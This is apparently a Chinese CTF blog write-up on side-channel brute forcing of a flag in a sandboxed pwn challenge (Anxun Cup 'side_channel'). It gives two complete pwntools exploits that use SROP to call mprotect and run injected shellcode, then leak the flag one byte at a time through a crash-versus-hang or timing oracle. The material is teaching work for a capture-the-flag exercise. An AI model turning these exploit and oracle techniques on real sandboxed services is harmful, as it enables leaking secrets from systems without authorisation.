S测信道爆破
0X10
侧信道攻击(又称边信道攻击、旁路攻击side-channel attack),攻击者通过测量功耗、辐射排放以及进行某些数据处理的时间,借助这些信息倒推处理过程,以获得加密秘钥或敏感数据。
简单地说就是不直接去爆破密码本身,而是通过密码错误时系统的反馈,例如系统判断密码错误所用的时间与判断密码正确所用时间不相等,诸如此类信息经过逻辑推断来间接地得到密码。
0x20
此方法在pwn
方向以shellcode
绕过沙箱进行解题时存在应用场景。
前提
- 需要知道
flag
的格式即能合理选择爆破字典。 - 需要能使用自定义
shellcode
控制执行流。
orw缺w
在这种情况下可以打开flag
文件,并且把flag
读取到一段内存区域中,但是无法泄露出flag
。
应对方法是对flag
进行逐字节爆破。
写shellcode
: 传入一个可能的字符,让其与被读取到内存中的flag
进行比对,并且采取一种判定方法进行识别。
常用判定方法:
常见思路有死循环、捕获错误、异常分支等,下面是两种具体方法。
method_1、
如果比对成功则让程序调用一个被沙箱禁用的系统调用函数使程序崩溃立即异常终止,如果比对失败则让程序陷入死循环即不会发生错误正常运行。
在try
语句使用p.recv(timeout=1)
,except
语句去捕获EOF错误,如果捕获到了则说明比对成功程序异常终止了使得p.recv(timeout=1)
未能等待1秒就出现异常才触发了EOF
错误,就记录下当前字符;否则即为比对失败,程序陷入死循环未退出使得p.recv(timeout=1)
等待了1秒并正常关闭未触发EOF错误,则直接关闭管道符。注意在p.recv(timeout=1)
前使用p.clean()
清理一下缓冲区避免受到残留数据干扰。
(这里timeout
可以比1秒更小或更大,看实际情况而定,timeout
大于T即可。T为从执行shellcode
到异常终止的这段时间。如果打远程存在网络延迟则T值应当增大。)
method_2、
如果比对成功则让程序调用一个系统调用函数read
发生阻塞,如果比对失败则让程序调用exit
系统调用函数立即退出。
在EXP
中写下一个p.recv(timeout=1)
的语句,并在该语句前后用time()
计算出该语句执行的时间t,如果t值较大则说明字符比对成功且调用了read
使程序阻塞,就记录下该字符,并关闭管道符;如果t值极小,则说明字符比对失败程序立即退出,就直接关闭管道符。
以上两种方法大同小异,知晓原理即可。
0x30
安洵杯side_channel
method_1、
如图,此题设置了白名单,可以使用o
、r
、mprotect
等关键函数。
这题解题思路就是srop
调用mprotect
函数更新数据段执行权限,并注入shellcode
执行,由于缺少write
函数,选择对flag
进行逐字节爆破。
如图,当p.recv()
接收出现异常时会报错EOF
,此错误表示已经读取到文件末尾或者无法再读取。这是之后侧信道爆破的关键。
EXP
from tools import *
context(log_level="info",arch="amd64")
syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
shellcode=asm('''
mov rdi,0x404170
mov rax,2
syscall
mov rdi,rax
mov rsi,0x404170
mov rdx,0x100
mov rax,0
syscall
xor rdx,rdx
xor rcx,rcx
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz CORRECT
loop:
jmp loop
CORRECT:
mov al,1
syscall
'''.format(dis,char))
return shellcode
flag=""
for i in range(30):
log.success("flag================================================>>>>{}".format(flag))
for j in range(38,126):
p=process("./side")
try:
payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)
p.sendlineafter(b"easyhack",payload)
payload=b"a"*0x2a+p64(bss)+p64(leave)
p.sendafter(b"Do u know what is SUID?",payload)
p.clean()
p.recv(timeout=0.3)
p.close()
except EOFError :
flag+=chr(j)
log.success("The th{} char is {}".format(i,chr(j)))
p.close()
break
log.success("flag =====>> {}".format(flag))
分析shellcode
蓝色框部分为open("./flag")
;红色框部分为read(fd,&bss,0x100)
。
绿色框部分:
此时rsi
存储的便是flag
的内容,取rsi
中的一个字节存储到dl
中(将flag
的一个字节放到dl
),将一个可见字符存储到cl
中(将字典中的一个字符放入cl
),比较两个字符是否相同,若相同则跳转到CORRECT
执行syscall
调用write
使得程序异常终止(write
在沙箱黑名单),否则陷入死循环。
分析try&except
for i in range(30): #猜测flag长度为为30字节
log.success("flag================================================>>>>{}".format(flag))
for j in range(33,127): #遍历ascii码表的所有可见字符
p=process("./side") #启动程序创建管道符
try:
#==========================ROP & shellcode——bao(i,j) ===============================
payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j) #i为flag[i],j为可见字符的ascii码
#===========================与程序进行交互 此处与模板化无关=============================================
p.sendlineafter(b"easyhack",payload)
payload=b"a"*0x2a+p64(bss)+p64(leave)
p.sendafter(b"Do u know what is SUID?",payload)
#============================================================================================
p.clean() #清理缓冲区,避免缓冲区残留数据被p.recv()接收从而在语句该抛出EOF时却正常退出干扰判定
p.recv(timeout=0.3) #接收数据,设置超时0.3秒。如果该语句正常终止则说明程序此时已经陷入死循环,字符不匹配。timeout的值视情况而定,一般值越大则爆破结果可信度越高。
p.close() #在程序陷入死循环时主动关闭管道符
except EOFError : #捕获p.recv(timeout=0.3)抛出的EOF异常,有异常说明字符比对成功,则记录该字符。
flag+=chr(j)
log.success("The th{} char is {}".format(i,chr(j)))
p.close()
break
flag
method_2、
EXP
from tools import *
context(log_level="info",arch="amd64")
syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
shellcode=asm('''
mov rdi,0x404170
mov rax,2
syscall
mov rdi,rax
mov rsi,0x404170
mov rdx,0x100
mov rax,0
syscall
xor rdx,rdx
xor rcx,rcx
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz CORRECT
mov rax,1
syscall
CORRECT:
mov rdi,0
mov rsi,0x404170
mov rdx,0x1
xor rax,rax
syscall
'''.format(dis,char))
return shellcode
flag=""
for i in range(30): #猜测flag长度为为30字节
log.success("flag================================================>>>>{}".format(flag))
for j in range(38,127): #遍历ascii码表的所有可见字符
p=process("./side") #启动程序创建管道符
try:
#==========================ROP & shellcode——bao(i,j) ===============================
payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j) #i为flag[i],j为可见字符的ascii码
#===========================与程序进行交互 此处与模板化无关=============================================
p.sendlineafter(b"easyhack",payload)
payload=b"a"*0x2a+p64(bss)+p64(leave)
p.sendafter(b"Do u know what is SUID?",payload)
#============================================================================================
t=time.time()
p.clean(0.5) #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。
t=time.time()-t
print("t========>>>>",t)
except :
pass
else :
if t>0.5: #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
flag+=chr(j)
log.success("The th{} char is {}".format(i,chr(j)))
p.close()
break
else :
p.close() #在程序陷入死循环时主动关闭管道符
log.success("flag =====>> {}".format(flag))
分析shellcode
前半部分与方法一样。
红色方框内:
先比对cl
和dl
是否相同,相同则调用read
阻塞程序。不同则异常崩溃。
分析try&except
for i in range(30): #猜测flag长度为为30字节
log.success("flag================================================>>>>{}".format(flag))
for j in range(38,127): #遍历ascii码表的所有可见字符
p=process("./side") #启动程序创建管道符
try:
#==========================ROP & shellcode——bao(i,j) ===============================
payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j) #i为flag[i],j为可见字符的ascii码
#===========================与程序进行交互 此处与模板化无关=============================================
p.sendlineafter(b"easyhack",payload)
payload=b"a"*0x2a+p64(bss)+p64(leave)
p.sendafter(b"Do u know what is SUID?",payload)
#============================================================================================
t=time.time()
p.clean(0.5) #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。这里的0.5视情况而定,需要和p.clean(0)区分开
t=time.time()-t
print("t========>>>>",t)
except :
pass
else :
if t>0.5: #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
flag+=chr(j)
log.success("The th{} char is {}".format(i,chr(j)))
p.close()
break
else :
p.close() #在程序陷入死循环时主动关闭管道符
如下图,p.clean(0.5)
时如果程序异常终止则t值稳定在0.3及以下,如果阻塞在read
则大于0.5,由此便可以区分。
flag
0x40
Python3 错误和异常 | 菜鸟教程 (runoob.com)
2023 ciscn国赛pwn lojin wp_2023ciscn login-CSDN博客
[BUUCTF] xman_2019_nooocall - LynneHuan - 博客园 (cnblogs.com)
标签:爆破,p64,frame,flag,bss,信道,payload,mov From: https://www.cnblogs.com/Sta8r9/p/17930831.html